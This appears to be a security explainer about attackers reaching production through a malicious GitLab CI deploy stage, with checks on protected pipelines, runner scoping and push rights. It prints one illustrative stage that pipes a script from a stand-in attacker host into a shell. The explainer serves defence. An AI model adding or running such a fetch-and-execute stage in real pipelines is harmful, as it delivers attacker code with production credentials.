Picture a pipeline that lets any developer with merge-to-main access introduce a new stage running arbitrary script: commands, on a runner that already holds production-deploy credentials. That configuration is more common than most engineering orgs realise, and it is exactly the boundary ransomware affiliates have been abusing across the 2024–2026 supply-chain wave. The interesting part: an attacker who lands here does not need to exploit an application. They reach production by writing one line of YAML.

This is an explainer on how that pattern works, and how to check your own exposure. The example below is illustrative, not a specific incident.

1. The one line

deploy_prod:
  stage: deploy
  script:
    - curl https://attacker.example.com/payload.sh | sh

Merged through a single-reviewer approval workflow, a stage like this runs on whatever runner is bound to the deploy stage. If that runner carries production-deploy credentials, the pipeline itself becomes the delivery mechanism, the payload runs with the same reach as a legitimate release. That is how a code-review lapse turns into an encryption event, without a CVE anywhere in the chain.

2. The control that is usually missing

GitLab supports protected pipelines, pipeline definitions that require multi-reviewer approval before they can be modified. The recurring failure mode is a gap between what the org believes is enforced and what the runner configuration actually enforces: a slide deck or policy doc asserts the control is on, while the pipeline config tells a different story. Verify the control at the config layer, not in the policy binder.

3. The three checks every engineering org should run today

  • Run grep -r 'allow_failure' .gitlab-ci.yml across every repository that can deploy to production, and audit the full pipeline config while you are there. Any stage that can run arbitrary commands with deploy reach is a candidate for the same attack.
  • Verify your runners are scoped per-environment. A runner that has prod credentials should not run a feature-branch pipeline.
  • Audit who has push to main on the deploy-config repository. That is the most under-controlled Tier-0 surface in most engineering orgs.

4. The pattern is bigger than CI/CD

This is the shape of the modern supply-chain attack: the adversary is not exploiting a CVE, they are exploiting an over-permissive automation boundary. Your perimeter has moved from the firewall to the merge-request reviewer.